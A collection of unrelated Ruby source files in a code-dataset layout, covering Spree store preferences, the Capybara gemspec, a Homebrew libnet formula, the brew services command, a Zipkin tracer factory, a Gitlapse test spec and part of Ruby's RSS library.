# @return [Boolean] Don't escape HTML of product descriptions. (default: +false+)
preference :show_raw_product_description, :boolean, default: false
# @!attribute [rw] tax_using_ship_address
# @return [Boolean] Use the shipping address rather than the billing address to determine tax (default: +true+)
preference :tax_using_ship_address, :boolean, default: true
# @!attribute [rw] track_inventory_levels
# Determines whether to track on_hand values for variants / products. If
# you do not track inventory, or have effectively unlimited inventory for
# all products you can turn this on.
# @return [] Track on_hand values for variants / products. (default: true)
preference :track_inventory_levels, :boolean, default: true
# Default mail headers settings
# @!attribute [rw] send_core_emails
# @return [Boolean] Whether to send transactional emails (default: true)
preference :send_core_emails, :boolean, default: true
# @!attribute [rw] mails_from
# @return [String] Email address used as +From:+ field in transactional emails.
preference :mails_from, :string, default: '[email protected]'
# Store credits configurations
# @!attribute [rw] credit_to_new_allocation
# @return [Boolean] Creates a new allocation anytime {StoreCredit#credit} is called
preference :credit_to_new_allocation, :boolean, default: false
# @!attribute [rw] automatic_default_address
# The default value of true preserves existing backwards compatible feature of
# treating the most recently used address in checkout as the user's default address.
# Setting to false means that the user should manage their own default via some
# custom UI that uses AddressBookController.
# @return [Boolean] Whether use of an address in checkout marks it as user's default
preference :automatic_default_address, :boolean, default: true
# @!attribute [rw] can_restrict_stock_management
# @return [Boolean] Indicates if stock management can be restricted by location
preference :can_restrict_stock_management, :boolean, default: false
# searcher_class allows spree extension writers to provide their own Search class
attr_writer :searcher_class
def searcher_class
@searcher_class ||= Spree::Core::Search::Base
end
attr_writer :variant_search_class
def variant_search_class
@variant_search_class ||= Spree::Core::Search::Variant
end
# promotion_chooser_class allows extensions to provide their own PromotionChooser
attr_writer :promotion_chooser_class
def promotion_chooser_class
@promotion_chooser_class ||= Spree::PromotionChooser
end
attr_writer :shipping_rate_sorter_class
def shipping_rate_sorter_class
@shipping_rate_sorter_class ||= Spree::Stock::ShippingRateSorter
end
attr_writer :shipping_rate_selector_class
def shipping_rate_selector_class
@shipping_rate_selector_class ||= Spree::Stock::ShippingRateSelector
end
attr_writer :shipping_rate_taxer_class
def shipping_rate_taxer_class
@shipping_rate_taxer_class ||= Spree::Tax::ShippingRateTaxer
end
# Allows providing your own Mailer for shipped cartons.
#
# @!attribute [rw] carton_shipped_email_class
# @return [ActionMailer::Base] an object that responds to "shipped_email"
# (e.g. an ActionMailer with a "shipped_email" method) with the same
# signature as Spree::CartonMailer.shipped_email.
attr_writer :carton_shipped_email_class
def carton_shipped_email_class
@carton_shipped_email_class ||= Spree::CartonMailer
end
# Allows providing your own class for merging two orders.
#
# @!attribute [rw] order_merger_class
# @return [Class] a class with the same public interfaces
# as Spree::OrderMerger.
attr_writer :order_merger_class
def order_merger_class
@order_merger_class ||= Spree::OrderMerger
end
def static_model_preferences
@static_model_preferences ||= Spree::Preferences::StaticModelPreferences.new
end
def stock
@stock_configuration ||= Spree::Core::StockConfiguration.new
end
# Default admin VAT location
#
# An object that responds to :state_id and :country_id so it can double as a Spree::Address in
# Spree::Zone.for_address. Takes the `admin_vat_country_iso` as input.
#
# @see admin_vat_country_iso The admin VAT country
# @return [Spree::Tax::TaxLocation] default tax location
def admin_vat_location
@default_tax_location ||= Spree::Tax::TaxLocation.new(
country: Spree::Country.find_by(iso: admin_vat_country_iso)
)
end
# all the following can be deprecated when store prefs are no longer supported
# @private
DEPRECATED_STORE_PREFERENCES = {
site_name: :name,
site_url: :url,
default_meta_description: :meta_description,
default_meta_keywords: :meta_keywords,
default_seo_title: :seo_title
}
DEPRECATED_STORE_PREFERENCES.each do |old_preference_name, store_method|
# Avoid warning about implementation details
bc = ActiveSupport::BacktraceCleaner.new
bc.add_silencer { |line| line =~ %r{spree/preferences} }
# support all the old preference methods with a warning
define_method "preferred_#{old_preference_name}" do
ActiveSupport::Deprecation.warn("#{old_preference_name} is no longer supported on Spree::Config, please access it through #{store_method} on Spree::Store", bc.clean(caller))
Spree::Store.default.send(store_method)
end
end
end
end
| 46.451872 | 181 | 0.723997 |
91f25a2e3a7ed3043b069cd8a68f1051469adfe6 | 2,572 | # frozen_string_literal: true
lib = File.expand_path('lib', __dir__)
$:.unshift lib unless $:.include?(lib)
require 'capybara/version'
Gem::Specification.new do |s|
s.name = 'capybara'
s.version = Capybara::VERSION
s.required_ruby_version = '>= 2.3.0'
s.license = 'MIT'
s.authors = ['Thomas Walpole', 'Jonas Nicklas']
s.email = ['[email protected]', '[email protected]']
s.description = 'Capybara is an integration testing tool for rack based web applications. It simulates how a user would interact with a website'
s.files = Dir.glob('{lib,spec}/**/*') + %w[README.md History.md License.txt]
s.homepage = 'https://github.com/teamcapybara/capybara'
s.metadata = {
'changelog_uri' => 'https://github.com/teamcapybara/capybara/blob/master/History.md',
'source_code_uri' => 'https://github.com/teamcapybara/capybara'
}
s.require_paths = ['lib']
s.summary = 'Capybara aims to simplify the process of integration testing Rack applications, such as Rails, Sinatra or Merb'
s.add_runtime_dependency('addressable')
s.add_runtime_dependency('mini_mime', ['>= 0.1.3'])
s.add_runtime_dependency('nokogiri', ['~> 1.8'])
s.add_runtime_dependency('rack', ['>= 1.6.0'])
s.add_runtime_dependency('rack-test', ['>= 0.6.3'])
s.add_runtime_dependency('regexp_parser', ['~>1.2'])
s.add_runtime_dependency('xpath', ['~>3.2'])
s.add_development_dependency('byebug') unless RUBY_PLATFORM == 'java'
s.add_development_dependency('cucumber', ['>= 2.3.0'])
s.add_development_dependency('erubi') # dependency specification needed by rbx
s.add_development_dependency('fuubar', ['>= 1.0.0'])
s.add_development_dependency('irb')
s.add_development_dependency('launchy', ['>= 2.0.4'])
s.add_development_dependency('minitest')
s.add_development_dependency('puma')
s.add_development_dependency('rake')
s.add_development_dependency('rspec', ['>= 3.5.0'])
s.add_development_dependency('rubocop')
s.add_development_dependency('rubocop-rspec')
s.add_development_dependency('selenium-webdriver', ['~>3.5'])
s.add_development_dependency('selenium_statistics')
s.add_development_dependency('sinatra', ['>= 1.4.0'])
s.add_development_dependency('webdrivers', ['>=3.6.0']) if ENV['CI']
s.add_development_dependency('yard', ['>= 0.9.0'])
if RUBY_ENGINE == 'rbx'
s.add_development_dependency('json')
s.add_development_dependency('racc')
s.add_development_dependency('rubysl')
end
s.signing_key = 'gem-private_key.pem' if File.exist?('gem-private_key.pem')
s.cert_chain = ['gem-public_cert.pem']
end
| 40.825397 | 146 | 0.712675 |
e869eb2857b3ed4943315e160bde81ad9f096374 | 987 | class Libnet < Formula
desc "C library for creating IP packets"
homepage "https://github.com/sam-github/libnet"
url "https://github.com/libnet/libnet/releases/download/v1.2/libnet-1.2.tar.gz"
sha256 "caa4868157d9e5f32e9c7eac9461efeff30cb28357f7f6bf07e73933fb4edaa7"
license "BSD-2-Clause"
bottle do
cellar :any
sha256 "9ecd86c12061ee31384cc784031ee4b0fb05e3ae79ff6c4c6b3f2e61690e8ad4" => :big_sur
sha256 "0ecfbf2539a6e051ca8aa5962c0ee7cb57ffd173cf654b0eec8152c1a3fbf133" => :catalina
sha256 "cadba638a54f4d5646a3510439ab89317ed23df3c45b12704b78065bb127fbc4" => :mojave
sha256 "44e7b11e8f900f9d6f8e0d1a5deed99c46078dd2dbc997937f713ce5a1ac0f38" => :high_sierra
sha256 "41583b0b290ff95aa1b8c8721c767577c5f4a86dbc9737fbe8fc76fc15d5006e" => :x86_64_linux
end
depends_on "doxygen" => :build
def install
system "./configure", "--disable-dependency-tracking",
"--prefix=#{prefix}"
system "make", "install"
end
end
| 39.48 | 94 | 0.765957 |
f76f33067b78b4da4865b9d3bebeab8359a6fae6 | 1,679 | # frozen_string_literal: true
require "cli/parser"
module Homebrew
module_function
def services_args
Homebrew::CLI::Parser.new do
usage_banner <<~EOS
`services` <subcommand>
Manage background services with macOS' `launchctl`(1) daemon manager.
If `sudo` is passed, operate on `/Library/LaunchDaemons` (started at boot).
Otherwise, operate on `~/Library/LaunchAgents` (started at login).
[`sudo`] `brew services` [`list`]
List all running services for the current user (or root).
[`sudo`] `brew services run` (<formula>|`--all`)
Run the service <formula> without registering to launch at login (or boot).
[`sudo`] `brew services start` (<formula>|`--all`)
Start the service <formula> immediately and register it to launch at login (or boot).
[`sudo`] `brew services stop` (<formula>|`--all`)
Stop the service <formula> immediately and unregister it from launching at login (or boot).
[`sudo`] `brew services restart` (<formula>|`--all`)
Stop (if necessary) and start the service <formula> immediately and register it to launch at login (or boot).
[`sudo`] `brew services cleanup`
Remove all unused services.
EOS
switch "--all", description: "Run <subcommand> on all services."
end
end
def services
services_args.parse
raise UsageError, "`brew services` is supported only on macOS!" unless OS.mac?
# Keep this after the .parse to keep --help fast.
require_relative "../lib/services_cli"
Homebrew::ServicesCli.run!
end
end
| 32.921569 | 123 | 0.631328 |
aba93f510ae4b23b17341950fd87c51cad1bdfb1 | 1,766 | module ZipkinTracer
class TracerFactory
def tracer(config)
adapter = config.adapter
tracer = case adapter
when :json
require 'zipkin-tracer/zipkin_http_sender'
options = { json_api_host: config.json_api_host, logger: config.logger }
Trace::ZipkinHttpSender.new(options)
when :kafka
require 'zipkin-tracer/zipkin_kafka_sender'
Trace::ZipkinKafkaSender.new(zookeepers: config.zookeeper)
when :kafka_producer
require 'zipkin-tracer/zipkin_kafka_sender'
options = { producer: config.kafka_producer }
options[:topic] = config.kafka_topic unless config.kafka_topic.nil?
Trace::ZipkinKafkaSender.new(options)
when :sqs
require 'zipkin-tracer/zipkin_sqs_sender'
options = {
async: config.async,
logger: config.logger,
queue_name: config.sqs_queue_name,
region: config.sqs_region
}
Trace::ZipkinSqsSender.new(options)
when :rabbit_mq
require 'zipkin-tracer/zipkin_rabbit_mq_sender'
options = {
rabbit_mq_connection: config.rabbit_mq_connection,
rabbit_mq_exchange: config.rabbit_mq_exchange,
rabbit_mq_routing_key: config.rabbit_mq_routing_key,
async: config.async,
logger: config.logger
}
Trace::ZipkinRabbitMqSender.new(options)
when :logger
require 'zipkin-tracer/zipkin_logger_sender'
Trace::ZipkinLoggerSender.new(logger: config.logger)
else
require 'zipkin-tracer/zipkin_null_sender'
Trace::NullSender.new
end
Trace.tracer = tracer
tracer
end
end
end
| 34.627451 | 82 | 0.631937 |
79e3eceea57a7cce597a475676439c5cb4fb1c75 | 3,279 | require_relative 'spec_helper'
require 'rugged'
#TODO rugged stuff should be refactored out into an external mushin-ext to be used with others as well.
#TODO developing exts is like developing methods, first you put all one place then refactor out based on common sense.
describe "Gitlapse" do
before do
#`rm -rf DATA` #NOTE flush all previous test data
@env = Hash.new
@slug = "pengwynn/pingwynn"
@clone_url = "https://github.com/#{@slug}.git"
@local_repo_path = ("./DATA/#{@slug}")
end
after do
`rm -rf DATA` #NOTE flush all previous test data
end
it 'makes a single_lapse via taking two blob_shas and returns the contents of their gitlapse' do
start_blob_sha = "a48ef87480c687bb698d5b44c9d85842ae7e3c63"
finish_blob_sha = "b495a649e1219b0314116325b25b328a7e6dff7c"
Rugged::Repository.clone_at(@clone_url, @local_repo_path)
repo = Rugged::Repository.new(@local_repo_path)
#@env[:repo_local_path].must_be_nil
@env[@slug].must_be_nil
@env[@slug] = repo
opts = {:cqrs => :cqrs_command, :repo => @slug}
#lapse env[:local_repo_path], env[:start_blob_sha], env[:finish_blob_sha]
#params = {:local_repo_path => @local_repo_path, :start_blob_sha => start_blob_sha, :finish_blob_sha => finish_blob_sha}
params = {:single_lapse => {:start_blob_sha => start_blob_sha, :finish_blob_sha => finish_blob_sha}}
@ext = Gitlapse::Ext.new(Proc.new {}, opts, params)
#@env[:repo_local_path] = ""
#@env[:start_blob_sha] = ""
#@env[:finish_blob_sha] = ""
p "env is "
p @env
@ext.call(@env)
#@env[:lapse_meta].must_equal "this test works"
#@env[:lapse_content].must_equal "this test works"
#@blob_sha = ""
#blob = repo.lookup params[:sha]
end
it 'makes a multiple_lapses via taking an array of start_blobs & finish_blobs and returns a hash of their contents of their gitlapses' do
skip
start_blob_sha = "a48ef87480c687bb698d5b44c9d85842ae7e3c63"
finish_blob_sha = "b495a649e1219b0314116325b25b328a7e6dff7c"
Rugged::Repository.clone_at(@clone_url, @local_repo_path)
repo = Rugged::Repository.new(@local_repo_path)
opts = {:cqrs => :cqrs_command}
params = {:multiple_lapses => [{:start_blob_sha => start_blob_sha, :finish_blob_sha => finish_blob_sha}]}
@ext = Gitlapse::Ext.new(Proc.new {}, opts, params)
@env[:repo_local_path].must_be_nil
p "env is "
p @env
@ext.call(@env)
p @env
end
it 'takes a commit, and a path to a file, then returns all its lapses' do
# lapses is a recursive problem, to solve its smallest form all
# that is needed is the latest commit whatever it was and a path to a file.
# then we go check if this same path exists (matches a blob) in the previous
# commit(parent commit) if yes then we grap the blob_id that corponds to the
# file path in the current commit and in the previous commit and build the lapse.
# Using this algorithm, the user interface can traverse over the whole repo in
# any branch with ease, but we opt to let the mainpulation done via the interface
# to keep the implmentation simple from the numerous usecases were full lapses of
# all branches of the whole repo is needed, etc.
end
end
| 39.506024 | 140 | 0.700213 |
6a942bfa6369b9dde52f2a7aba69050262d3a279 | 34,337 | require "time"
class Time
class << self
unless respond_to?(:w3cdtf)
def w3cdtf(date)
if /\A\s*
(-?\d+)-(\d\d)-(\d\d)
(?:T
(\d\d):(\d\d)(?::(\d\d))?
(\.\d+)?
(Z|[+-]\d\d:\d\d)?)?
\s*\z/ix =~ date and (($5 and $8) or (!$5 and !$8))
datetime = [$1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i]
usec = 0
usec = $7.to_f * 1000000 if $7
zone = $8
if zone
off = zone_offset(zone, datetime[0])
datetime = apply_offset(*(datetime + [off]))
datetime << usec
time = Time.utc(*datetime)
time.localtime unless zone_utc?(zone)
time
else
datetime << usec
Time.local(*datetime)
end
else
raise ArgumentError.new("invalid date: #{date.inspect}")
end
end
end
end
unless method_defined?(:w3cdtf)
def w3cdtf
if usec.zero?
fraction_digits = 0
else
fraction_digits = Math.log10(usec.to_s.sub(/0*$/, '').to_i).floor + 1
end
xmlschema(fraction_digits)
end
end
end
require "English"
require "rss/utils"
require "rss/converter"
require "rss/xml-stylesheet"
module RSS
VERSION = "0.2.7"
URI = "http://purl.org/rss/1.0/"
DEBUG = false
class Error < StandardError; end
class OverlappedPrefixError < Error
attr_reader :prefix
def initialize(prefix)
@prefix = prefix
end
end
class InvalidRSSError < Error; end
##
# Raised if no matching tag is found.
class MissingTagError < InvalidRSSError
attr_reader :tag, :parent
def initialize(tag, parent)
@tag, @parent = tag, parent
super("tag <#{tag}> is missing in tag <#{parent}>")
end
end
##
# Raised if there are more occurrences of the tag than expected.
class TooMuchTagError < InvalidRSSError
attr_reader :tag, :parent
def initialize(tag, parent)
@tag, @parent = tag, parent
super("tag <#{tag}> is too much in tag <#{parent}>")
end
end
##
# Raised if a required attribute is missing.
class MissingAttributeError < InvalidRSSError
attr_reader :tag, :attribute
def initialize(tag, attribute)
@tag, @attribute = tag, attribute
super("attribute <#{attribute}> is missing in tag <#{tag}>")
end
end
##
# Raised when an unknown tag is found.
class UnknownTagError < InvalidRSSError
attr_reader :tag, :uri
def initialize(tag, uri)
@tag, @uri = tag, uri
super("tag <#{tag}> is unknown in namespace specified by uri <#{uri}>")
end
end
##
# Raised when an unexpected tag is encountered.
class NotExpectedTagError < InvalidRSSError
attr_reader :tag, :uri, :parent
def initialize(tag, uri, parent)
@tag, @uri, @parent = tag, uri, parent
super("tag <{#{uri}}#{tag}> is not expected in tag <#{parent}>")
end
end
# For backward compatibility :X
NotExceptedTagError = NotExpectedTagError
##
# Raised when an incorrect value is used.
class NotAvailableValueError < InvalidRSSError
attr_reader :tag, :value, :attribute
def initialize(tag, value, attribute=nil)
@tag, @value, @attribute = tag, value, attribute
message = "value <#{value}> of "
message << "attribute <#{attribute}> of " if attribute
message << "tag <#{tag}> is not available."
super(message)
end
end
##
# Raised when an unknown conversion error occurs.
class UnknownConversionMethodError < Error
attr_reader :to, :from
def initialize(to, from)
@to = to
@from = from
super("can't convert to #{to} from #{from}.")
end
end
# for backward compatibility
UnknownConvertMethod = UnknownConversionMethodError
##
# Raised when a conversion failure occurs.
class ConversionError < Error
attr_reader :string, :to, :from
def initialize(string, to, from)
@string = string
@to = to
@from = from
super("can't convert #{@string} to #{to} from #{from}.")
end
end
##
# Raised when a required variable is not set.
class NotSetError < Error
attr_reader :name, :variables
def initialize(name, variables)
@name = name
@variables = variables
super("required variables of #{@name} are not set: #{@variables.join(', ')}")
end
end
##
# Raised when a RSS::Maker attempts to use an unknown maker.
class UnsupportedMakerVersionError < Error
attr_reader :version
def initialize(version)
@version = version
super("Maker doesn't support version: #{@version}")
end
end
module BaseModel
include Utils
def install_have_child_element(tag_name, uri, occurs, name=nil, type=nil)
name ||= tag_name
add_need_initialize_variable(name)
install_model(tag_name, uri, occurs, name)
writer_type, reader_type = type
def_corresponded_attr_writer name, writer_type
def_corresponded_attr_reader name, reader_type
install_element(name) do |n, elem_name|
<<-EOC
if @#{n}
"\#{@#{n}.to_s(need_convert, indent)}"
else
''
end
EOC
end
end
alias_method(:install_have_attribute_element, :install_have_child_element)
def install_have_children_element(tag_name, uri, occurs, name=nil, plural_name=nil)
name ||= tag_name
plural_name ||= "#{name}s"
add_have_children_element(name, plural_name)
add_plural_form(name, plural_name)
install_model(tag_name, uri, occurs, plural_name, true)
def_children_accessor(name, plural_name)
install_element(name, "s") do |n, elem_name|
<<-EOC
rv = []
@#{n}.each do |x|
value = "\#{x.to_s(need_convert, indent)}"
rv << value if /\\A\\s*\\z/ !~ value
end
rv.join("\n")
EOC
end
end
def install_text_element(tag_name, uri, occurs, name=nil, type=nil,
disp_name=nil)
name ||= tag_name
disp_name ||= name
self::ELEMENTS << name unless self::ELEMENTS.include?(name)
add_need_initialize_variable(name)
install_model(tag_name, uri, occurs, name)
def_corresponded_attr_writer(name, type, disp_name)
def_corresponded_attr_reader(name, type || :convert)
install_element(name) do |n, elem_name|
<<-EOC
if respond_to?(:#{n}_content)
content = #{n}_content
else
content = @#{n}
end
if content
rv = "\#{indent}<#{elem_name}>"
value = html_escape(content)
if need_convert
rv << convert(value)
else
rv << value
end
rv << "</#{elem_name}>"
rv
else
''
end
EOC
end
end
def install_date_element(tag_name, uri, occurs, name=nil, type=nil, disp_name=nil)
name ||= tag_name
type ||= :w3cdtf
disp_name ||= name
self::ELEMENTS << name
add_need_initialize_variable(name)
install_model(tag_name, uri, occurs, name)
# accessor
convert_attr_reader name
date_writer(name, type, disp_name)
install_element(name) do |n, elem_name|
<<-EOC
if @#{n}
rv = "\#{indent}<#{elem_name}>"
value = html_escape(@#{n}.#{type})
if need_convert
rv << convert(value)
else
rv << value
end
rv << "</#{elem_name}>"
rv
else
''
end
EOC
end
end
private
def install_element(name, postfix="")
elem_name = name.sub('_', ':')
method_name = "#{name}_element#{postfix}"
add_to_element_method(method_name)
module_eval(<<-EOC, *get_file_and_line_from_caller(2))
def #{method_name}(need_convert=true, indent='')
#{yield(name, elem_name)}
end
private :#{method_name}
EOC
end
def inherit_convert_attr_reader(*attrs)
attrs.each do |attr|
attr = attr.id2name if attr.kind_of?(Integer)
module_eval(<<-EOC, *get_file_and_line_from_caller(2))
def #{attr}_without_inherit
convert(@#{attr})
end
def #{attr}
if @#{attr}
#{attr}_without_inherit
elsif @parent
@parent.#{attr}
else
nil
end
end
EOC
end
end
def uri_convert_attr_reader(*attrs)
attrs.each do |attr|
attr = attr.id2name if attr.kind_of?(Integer)
module_eval(<<-EOC, *get_file_and_line_from_caller(2))
def #{attr}_without_base
convert(@#{attr})
end
def #{attr}
value = #{attr}_without_base
return nil if value.nil?
if /\\A[a-z][a-z0-9+.\\-]*:/i =~ value
value
else
"\#{base}\#{value}"
end
end
EOC
end
end
def convert_attr_reader(*attrs)
attrs.each do |attr|
attr = attr.id2name if attr.kind_of?(Integer)
module_eval(<<-EOC, *get_file_and_line_from_caller(2))
def #{attr}
convert(@#{attr})
end
EOC
end
end
def yes_clean_other_attr_reader(*attrs)
attrs.each do |attr|
attr = attr.id2name if attr.kind_of?(Integer)
module_eval(<<-EOC, __FILE__, __LINE__ + 1)
attr_reader(:#{attr})
def #{attr}?
YesCleanOther.parse(@#{attr})
end
EOC
end
end
def yes_other_attr_reader(*attrs)
attrs.each do |attr|
attr = attr.id2name if attr.kind_of?(Integer)
module_eval(<<-EOC, __FILE__, __LINE__ + 1)
attr_reader(:#{attr})
def #{attr}?
Utils::YesOther.parse(@#{attr})
end
EOC
end
end
def csv_attr_reader(*attrs)
separator = nil
if attrs.last.is_a?(Hash)
options = attrs.pop
separator = options[:separator]
end
separator ||= ", "
attrs.each do |attr|
attr = attr.id2name if attr.kind_of?(Integer)
module_eval(<<-EOC, __FILE__, __LINE__ + 1)
attr_reader(:#{attr})
def #{attr}_content
if @#{attr}.nil?
@#{attr}
else
@#{attr}.join(#{separator.dump})
end
end
EOC
end
end
def date_writer(name, type, disp_name=name)
module_eval(<<-EOC, *get_file_and_line_from_caller(2))
def #{name}=(new_value)
if new_value.nil?
@#{name} = new_value
elsif new_value.kind_of?(Time)
@#{name} = new_value.dup
else
if @do_validate
begin
@#{name} = Time.__send__('#{type}', new_value)
rescue ArgumentError
raise NotAvailableValueError.new('#{disp_name}', new_value)
end
else
@#{name} = nil
if /\\A\\s*\\z/ !~ new_value.to_s
begin
unless Date._parse(new_value, false).empty?
@#{name} = Time.parse(new_value)
end
rescue ArgumentError
end
end
end
end
# Is it need?
if @#{name}
class << @#{name}
undef_method(:to_s)
alias_method(:to_s, :#{type})
end
end
end
EOC
end
def integer_writer(name, disp_name=name)
module_eval(<<-EOC, *get_file_and_line_from_caller(2))
def #{name}=(new_value)
if new_value.nil?
@#{name} = new_value
else
if @do_validate
begin
@#{name} = Integer(new_value)
rescue ArgumentError
raise NotAvailableValueError.new('#{disp_name}', new_value)
end
else
@#{name} = new_value.to_i
end
end
end
EOC
end
def positive_integer_writer(name, disp_name=name)
module_eval(<<-EOC, *get_file_and_line_from_caller(2))
def #{name}=(new_value)
if new_value.nil?
@#{name} = new_value
else
if @do_validate
begin
tmp = Integer(new_value)
raise ArgumentError if tmp <= 0
@#{name} = tmp
rescue ArgumentError
raise NotAvailableValueError.new('#{disp_name}', new_value)
end
else
@#{name} = new_value.to_i
end
end
end
EOC
end
def boolean_writer(name, disp_name=name)
module_eval(<<-EOC, *get_file_and_line_from_caller(2))
def #{name}=(new_value)
if new_value.nil?
@#{name} = new_value
else
if @do_validate and
![true, false, "true", "false"].include?(new_value)
raise NotAvailableValueError.new('#{disp_name}', new_value)
end
if [true, false].include?(new_value)
@#{name} = new_value
else
@#{name} = new_value == "true"
end
end
end
EOC
end
def text_type_writer(name, disp_name=name)
module_eval(<<-EOC, *get_file_and_line_from_caller(2))
def #{name}=(new_value)
if @do_validate and
!["text", "html", "xhtml", nil].include?(new_value)
raise NotAvailableValueError.new('#{disp_name}', new_value)
end
@#{name} = new_value
end
EOC
end
def content_writer(name, disp_name=name)
klass_name = "self.class::#{Utils.to_class_name(name)}"
module_eval(<<-EOC, *get_file_and_line_from_caller(2))
def #{name}=(new_value)
if new_value.is_a?(#{klass_name})
@#{name} = new_value
else
@#{name} = #{klass_name}.new
@#{name}.content = new_value
end
end
EOC
end
def yes_clean_other_writer(name, disp_name=name)
module_eval(<<-EOC, __FILE__, __LINE__ + 1)
def #{name}=(value)
value = (value ? "yes" : "no") if [true, false].include?(value)
@#{name} = value
end
EOC
end
def yes_other_writer(name, disp_name=name)
module_eval(<<-EOC, __FILE__, __LINE__ + 1)
def #{name}=(new_value)
if [true, false].include?(new_value)
new_value = new_value ? "yes" : "no"
end
@#{name} = new_value
end
EOC
end
def csv_writer(name, disp_name=name)
module_eval(<<-EOC, __FILE__, __LINE__ + 1)
def #{name}=(new_value)
@#{name} = Utils::CSV.parse(new_value)
end
EOC
end
def csv_integer_writer(name, disp_name=name)
module_eval(<<-EOC, __FILE__, __LINE__ + 1)
def #{name}=(new_value)
@#{name} = Utils::CSV.parse(new_value) {|v| Integer(v)}
end
EOC
end
def def_children_accessor(accessor_name, plural_name)
module_eval(<<-EOC, *get_file_and_line_from_caller(2))
def #{plural_name}
@#{accessor_name}
end
def #{accessor_name}(*args)
if args.empty?
@#{accessor_name}.first
else
@#{accessor_name}[*args]
end
end
def #{accessor_name}=(*args)
receiver = self.class.name
warn("Warning:\#{caller.first.sub(/:in `.*'\z/, '')}: " \
"Don't use `\#{receiver}\##{accessor_name} = XXX'/" \
"`\#{receiver}\#set_#{accessor_name}(XXX)'. " \
"Those APIs are not sense of Ruby. " \
"Use `\#{receiver}\##{plural_name} << XXX' instead of them.")
if args.size == 1
@#{accessor_name}.push(args[0])
else
@#{accessor_name}.__send__("[]=", *args)
end
end
alias_method(:set_#{accessor_name}, :#{accessor_name}=)
EOC
end
end
module SetupMaker
def setup_maker(maker)
target = maker_target(maker)
unless target.nil?
setup_maker_attributes(target)
setup_maker_element(target)
setup_maker_elements(target)
end
end
private
def maker_target(maker)
nil
end
def setup_maker_attributes(target)
end
def setup_maker_element(target)
self.class.need_initialize_variables.each do |var|
value = __send__(var)
next if value.nil?
if value.respond_to?("setup_maker") and
!not_need_to_call_setup_maker_variables.include?(var)
value.setup_maker(target)
else
setter = "#{var}="
if target.respond_to?(setter)
target.__send__(setter, value)
end
end
end
end
def not_need_to_call_setup_maker_variables
[]
end
def setup_maker_elements(parent)
self.class.have_children_elements.each do |name, plural_name|
if parent.respond_to?(plural_name)
target = parent.__send__(plural_name)
__send__(plural_name).each do |elem|
elem.setup_maker(target)
end
end
end
end
end
class Element
extend BaseModel
include Utils
extend Utils::InheritedReader
include SetupMaker
INDENT = " "
MUST_CALL_VALIDATORS = {}
MODELS = []
GET_ATTRIBUTES = []
HAVE_CHILDREN_ELEMENTS = []
TO_ELEMENT_METHODS = []
NEED_INITIALIZE_VARIABLES = []
PLURAL_FORMS = {}
class << self
def must_call_validators
inherited_hash_reader("MUST_CALL_VALIDATORS")
end
def models
inherited_array_reader("MODELS")
end
def get_attributes
inherited_array_reader("GET_ATTRIBUTES")
end
def have_children_elements
inherited_array_reader("HAVE_CHILDREN_ELEMENTS")
end
def to_element_methods
inherited_array_reader("TO_ELEMENT_METHODS")
end
def need_initialize_variables
inherited_array_reader("NEED_INITIALIZE_VARIABLES")
end
def plural_forms
inherited_hash_reader("PLURAL_FORMS")
end
def inherited_base
::RSS::Element
end
def inherited(klass)
klass.const_set(:MUST_CALL_VALIDATORS, {})
klass.const_set(:MODELS, [])
klass.const_set(:GET_ATTRIBUTES, [])
klass.const_set(:HAVE_CHILDREN_ELEMENTS, [])
klass.const_set(:TO_ELEMENT_METHODS, [])
klass.const_set(:NEED_INITIALIZE_VARIABLES, [])
klass.const_set(:PLURAL_FORMS, {})
tag_name = klass.name.split(/::/).last
tag_name[0, 1] = tag_name[0, 1].downcase
klass.instance_variable_set(:@tag_name, tag_name)
klass.instance_variable_set(:@have_content, false)
end
def install_must_call_validator(prefix, uri)
self::MUST_CALL_VALIDATORS[uri] = prefix
end
def install_model(tag, uri, occurs=nil, getter=nil, plural=false)
getter ||= tag
if m = self::MODELS.find {|t, u, o, g, p| t == tag and u == uri}
m[2] = occurs
else
self::MODELS << [tag, uri, occurs, getter, plural]
end
end
def install_get_attribute(name, uri, required=true,
type=nil, disp_name=nil,
element_name=nil)
disp_name ||= name
element_name ||= name
writer_type, reader_type = type
def_corresponded_attr_writer name, writer_type, disp_name
def_corresponded_attr_reader name, reader_type
if type == :boolean and /^is/ =~ name
alias_method "#{$POSTMATCH}?", name
end
self::GET_ATTRIBUTES << [name, uri, required, element_name]
add_need_initialize_variable(disp_name)
end
def def_corresponded_attr_writer(name, type=nil, disp_name=nil)
disp_name ||= name
case type
when :integer
integer_writer name, disp_name
when :positive_integer
positive_integer_writer name, disp_name
when :boolean
boolean_writer name, disp_name
when :w3cdtf, :rfc822, :rfc2822
date_writer name, type, disp_name
when :text_type
text_type_writer name, disp_name
when :content
content_writer name, disp_name
when :yes_clean_other
yes_clean_other_writer name, disp_name
when :yes_other
yes_other_writer name, disp_name
when :csv
csv_writer name
when :csv_integer
csv_integer_writer name
else
attr_writer name
end
end
def def_corresponded_attr_reader(name, type=nil)
case type
when :inherit
inherit_convert_attr_reader name
when :uri
uri_convert_attr_reader name
when :yes_clean_other
yes_clean_other_attr_reader name
when :yes_other
yes_other_attr_reader name
when :csv
csv_attr_reader name
when :csv_integer
csv_attr_reader name, :separator => ","
else
convert_attr_reader name
end
end
def content_setup(type=nil, disp_name=nil)
writer_type, reader_type = type
def_corresponded_attr_writer :content, writer_type, disp_name
def_corresponded_attr_reader :content, reader_type
@have_content = true
end
def have_content?
@have_content
end
def add_have_children_element(variable_name, plural_name)
self::HAVE_CHILDREN_ELEMENTS << [variable_name, plural_name]
end
def add_to_element_method(method_name)
self::TO_ELEMENT_METHODS << method_name
end
def add_need_initialize_variable(variable_name)
self::NEED_INITIALIZE_VARIABLES << variable_name
end
def add_plural_form(singular, plural)
self::PLURAL_FORMS[singular] = plural
end
def required_prefix
nil
end
def required_uri
""
end
def need_parent?
false
end
def install_ns(prefix, uri)
if self::NSPOOL.has_key?(prefix)
raise OverlappedPrefixError.new(prefix)
end
self::NSPOOL[prefix] = uri
end
def tag_name
@tag_name
end
end
attr_accessor :parent, :do_validate
def initialize(do_validate=true, attrs=nil)
@parent = nil
@converter = nil
if attrs.nil? and (do_validate.is_a?(Hash) or do_validate.is_a?(Array))
do_validate, attrs = true, do_validate
end
@do_validate = do_validate
initialize_variables(attrs || {})
end
def tag_name
self.class.tag_name
end
def full_name
tag_name
end
def converter=(converter)
@converter = converter
targets = children.dup
self.class.have_children_elements.each do |variable_name, plural_name|
targets.concat(__send__(plural_name))
end
targets.each do |target|
target.converter = converter unless target.nil?
end
end
def convert(value)
if @converter
@converter.convert(value)
else
value
end
end
